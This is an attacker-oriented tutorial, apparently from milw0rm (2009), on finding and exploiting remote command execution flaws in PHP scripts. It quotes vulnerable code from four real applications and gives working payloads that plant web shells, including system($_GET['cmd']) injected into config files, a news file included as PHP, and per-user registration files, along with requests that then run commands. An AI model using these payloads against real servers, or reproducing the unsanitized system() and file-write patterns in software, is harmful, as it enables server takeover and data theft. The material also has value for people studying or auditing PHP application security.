How to find RCE in scripts (with examples)

---------------- How to find RCE in scripts (with examples) ----------------
----------------              By SirGod                     ----------------
----------------           www.insecurity-ro.org            ----------------
----------------              www.h4cky0u.org               ----------------

 - In this tutorial I will show you how to find Remote Command Execution vulnerabilities
in PHP Web Applications (scripts).
 - Through Remote Command Execution vulnerabilities you can execute commands on the 
 webserver.
 - I will present 4 examples + the basic one.
 - I will start with a basic example.
 
 File : index.php 
 
Code snippet :
 
<?php
$cmd=$_GET['cmd'];
system($cmd);
?>

 So if we do the following request 

index.php?cmd=whoami

 Our command will be executed.

 In PHP is more functions that let you to execute commands :
 
exec — Execute an external program
passthru — Execute an external program and display raw output
shell_exec — Execute command via shell and return the complete output as a string
system — Execute an external program and display the output

 If in script is used exec() you can't see the command output(but the command is executed)
until the result isn't echo'ed from script.Example :

<?php
$cmd=$_GET['cmd'];
echo exec($cmd);
?>

 But this is only an basic example of Remote Command Execution.You will neved find this
in PHP scripts unless the coder is a monkey.


1) - Lets start with an real-life example.All the following examples is real-life.All of
them are discovered by me in different php scripts.

 The 1st example is an whois lookup script,they execute command in terminal to do that.
Works only on *NIX systems.
 
 Lets take a look in dig.php file :

Code snippet :

<?php

    include("common.php");
    showMenu();
    echo '<br>';
	$status = $_GET['status'];
	$ns  = $_GET['ns'];
	$host   = $_GET['host'];
	$query_type   = $_GET['query_type']; // ANY, MX, A , etc.
	$ip     = $_SERVER['REMOTE_ADDR'];
	$self   = $_SERVER['PHP_SELF'];

..................................................................................

		  $host = trim($host);
		  $host = strtolower($host);
		  echo("<span class=\"plainBlue\"><b>Executing : <u>dig @$ns $host $query_type</u></b><br>");
		  echo '<pre>';
		  //start digging in the namserver
	      system ("dig @$ns $host $query_type");
		  echo '</pre>';
	} else {
?>
 
 We are interested in these lines :

 	$ns  = $_GET['ns'];
    system ("dig @$ns $host $query_type");
	
 The "ns" variable is unfiltered and can be modified by user.An attacker can use any command
that he want through this variable.We can execute commands like in the previous example.
 If we request :
  
   dig.php?ns=whoam&host=sirgod.net&query_type=NS&status=digging
   
 Will not work.Why?The code will be 
 
     system ("dig whoami sirgod.com NS");
	 
and that command dont exist and the execution will fail.What to do to work?In *NIX systems
we have the AND operator who can be used in terminal.That operator is ||.So if we make a 
request like this :

  dig.php?ns=||whoami||&host=sirgod.net&query_type=NS&status=digging
  
our command will be succesfully executed.Look at the code :

     system ("dig ||whoami|| sirgod.net NS");
	 
will execute the command separately than "dig" and the other.


2) - Lets continue with another example,little bit complicated than first.

 Some scripts let you to modify the configuration of website after install.Bad mistake
because usually configuration files is .php .

 So we have the script instaled.We look in the admin.php file
 
Code snippet :

  if(isset($action) && $action == "setconfig") {
    $config_file = "config.php";
    $handle = fopen($config_file, 'w');
    $StringData = "<?php\r
	$"."news_width = '".clean($_POST[news_width])."';\r
	$"."bgcolor = '".clean($_POST[bgcolor])."';\r
	$"."fgcolor = '".clean($_POST[fgcolor])."';\r
	$"."padding = '".clean($_POST[padding])."';\r
	$"."subject_margin = '".clean($_POST[subject_margin])."';\r
	$"."fontname = '".clean($_POST[fontname])."';\r
	$"."fontsize = '".clean($_POST[fontsize])."';\r\n?>";
    fwrite($handle, $StringData);
  }
  
  We see here that the script save the settings in config.php file.
  
  Now let's see the config.php file content :
  
Code snippet :

<?php
	$news_width = '600px';
	$bgcolor = '#000000';
	$fgcolor = '#ffffff';
	$padding = '5px';
	$subject_margin = '0px';
	$fontname = 'verdana';
	$fontsize = '13px';
?>

 So we cand inject php code in news_width for example .Now,the things will be
more complicated.We can inject our code but we must pay attention to the code.
I will show you an example to understand what I say.

 We will inject the following php code in news_width variable.The code will be
written into config.php file.Let's go to admin.php?action=setconfig file and 
inject the code.

Code :

<?php system($_GET['cmd']); ?>

 The code will become :
 
<?php
	$news_width = '<?php system($_GET['cmd']); ?>';
	$bgcolor = '#000000';
	$fgcolor = '#ffffff';
	$padding = '5px';
	$subject_margin = '0px';
	$fontname = 'verdana';
	$fontsize = '13px';
?>
 
 And that is wrong.If we request the config.php file we will get an parse error:
 
Parse error: parse error in C:\wamp\www\config.php on line 3

 So we must inject something more complicated.
 
';system($_GET['cmd']);'

 Why this code?Look,the code inside config.php file will become :
 
<?php
	$news_width = '';system($_GET['cmd']);'';
	$bgcolor = '#000000';
	$fgcolor = '#ffffff';
	$padding = '5px';
	$subject_margin = '0px';
	$fontname = 'verdana';
	$fontsize = '13px';
?>
 
 Lets split it :

  	$news_width = '';
	system($_GET['cmd']);
	'';
	
 No parse error,so we can succesfully execute our commands.Let's make the request :
 
 config.php?cmd=whoami
 
 No more || because we don't need,only our command is executed.
 
 
3) - Lets go to the next example.In this script the news are saved in news.txt file.

 Lets see the contents of news.txt file :
 
<table class='sn'> <tbody> <tr><td class='sn-title'> test </td></tr> <tr><td class='sn-date'> Posted on: 08/06/2009 </td></tr> <tr><td class='sn-post'> test </td></tr> </tbody></table><div><br /></div>
 
 We can add what we want.We can inject our code and nothing will happen because is .txt file?Wrong.
Lets search deeper the script.We go to post news by accessing post.php .

 Lets take a look in post.php
 
$newsfile = "news.txt"; 
$file = fopen($newsfile, "r"); 
..........................................................................
 elseif ((isset($_REQUEST["title"])) && (isset($_REQUEST["date"])) &&
(isset($_REQUEST["post"])) && ($_REQUEST["title"]!="") &&
($_REQUEST["date"]!="") && ($_REQUEST["post"]!="")) {
$current_data = @fread($file, filesize($newsfile));
fclose($file);
$file = fopen($newsfile, "w");
$_REQUEST["post"] = stripslashes(($_REQUEST["post"]));
$_REQUEST["date"] = stripslashes(($_REQUEST["date"]));
$_REQUEST["title"] = stripslashes(($_REQUEST["title"]));
if(fwrite($file,$btable . " " . $btitle . " " . $_REQUEST["title"] . " " .  $etitle . " " . $bdate . " " . $_REQUEST["date"] . " " . $edate . " " . $bpost . " " . $_REQUEST["post"] . " " . $epost . " " . $etable . "\n " . $current_data))
include 'inc/posted.html';
else 
include 'inc/error1.html'; 
fclose($file);
}
 
 We can see here how the news are written in news.txt file.Input not filtered of course.
 Now the news must be displayed to visitors.How the script do that?Lets take a look in
display.php file. 

Code snippet :

<?
include("news.txt");
?>

 Nice,the news.txt content is included in display.php file.What we do?We go to post.php
and add some news.
 We will inject our code in "title" variable.We write there the following code :
 
 <?php system($_GET['cmd']); ?>
 
 so the news.txt content will become :
 
<table class='sn'> <tbody> <tr><td class='sn-title'>  <?php system($_GET['cmd']); ?> </td></tr> <tr><td class='sn-date'> Posted on: 08/06/2009 </td></tr> <tr><td class='sn-post'> test2 </td></tr> </tbody></table><div><br /></div>
 <table class='sn'> <tbody> <tr><td class='sn-title'> test </td></tr> <tr><td class='sn-date'> Posted on: 08/06/2009 </td></tr> <tr><td class='sn-post'> test </td></tr> </tbody></table><div><br /></div>
 
 And our evil code is there.Let's take a look in display.php .That file include the content of news.txt,
so the code in display.php will look like :

<?
<table class='sn'> <tbody> <tr><td class='sn-title'>  <?php system($_GET['cmd']); ?> </td></tr> <tr><td class='sn-date'> Posted on: 08/06/2009 </td></tr> <tr><td class='sn-post'> test2 </td></tr> </tbody></table><div><br /></div>
 <table class='sn'> <tbody> <tr><td class='sn-title'> test </td></tr> <tr><td class='sn-date'> Posted on: 08/06/2009 </td></tr> <tr><td class='sn-post'> test </td></tr> </tbody></table><div><br /></div>
?>

 No parse error or any other problem so we can go to :
 
 display.php?cmd=whoami
 
 and execute succesfully our commands.
 
4) - Now a little bit complicated script than the previous scripts.

 In this script,when we register,our details will be saved in php files.
Lets take a loog in add_reg.php file :
 
Code snippet :

$user = $_POST['user'];
$pass1 = $_POST['pass1'];
$pass2 = $_POST['pass2'];
$email1 = $_POST['email1'];
$email2 = $_POST['email2'];
$location = $_POST['location'];
$url = $_POST['url'];
$filename = "./sites/".$user.".php";
..............................................
$html = "<?php
\$regdate = \"$date\";
\$user = \"$user\";
\$pass = \"$pass1\";
\$email = \"$email1\";
\$location = \"$location\";
\$url = \"$url\";
?>";
$fp = fopen($filename, 'a+');
fputs($fp, $html) or die("Could not open file!");


 We can see that the script creates a php file in "sites" directory( ourusername.php ).
 The script save all the user data in that file so we can inject our evil code into one
field,I choose the "location" variable.

 So if we register as an user with the location (set the "location" value) :
 
<?php system($_GET['cmd']); ?>

 the code inside ourusername.php will become : 
 

<?php
	$regdate = "13 June 2009, 4:16 PM";
	$user = "pwned";
	$pass = "pwned";
	$email = "pwned@yahoo.com";
	$location = "<?php system($_GET['cmd']); ?>";
	$url = "http://google.ro";
?>

 So we will get an parse error.Not good.We must inject a more complicated code 
to get the result that we want.
 
 Lets add this code :
 
 \";?><?php system(\$_GET['cmd']);?><?php \$xxx=\":D
 
 So the code inside ourusername.php will become :

<?php
	$regdate = "13 June 2009, 4:16 PM";
	$user = "pwned";
	$pass = "pwned";
	$email = "pwned@yahoo.com";
	$location = "";?><?php system($_GET['cmd']);?><?php $xxx=":D";
	$url = "http://google.ro";
?> 
 
 and we will have no error.Why?See the code :
 
 	$location = "";?><?php system($_GET['cmd']);?><?php $xxx=":D";

 Lets split it :
 
 	$location = "";
	?>
	<?php system($_GET['cmd']);?>
	<?php $xxx=":D";

 We set the location value to "",close the first php tags,open the tags
again,wrote our evil code,close the tags and open other and add a variable
"xxx" because we dont want any error.I wrote that code because I want no 
error,can be modified to be small but will give some errors(will not 
stop us to execute commands but looks ugly).

 So we can go to :

	sites/ourusername.php?cmd=whoami
 
 and successfully execute our commands.
	
Shoutz to all members of www.insecurity-ro.org and www.h4cky0u.org

# milw0rm.com [2009-08-07]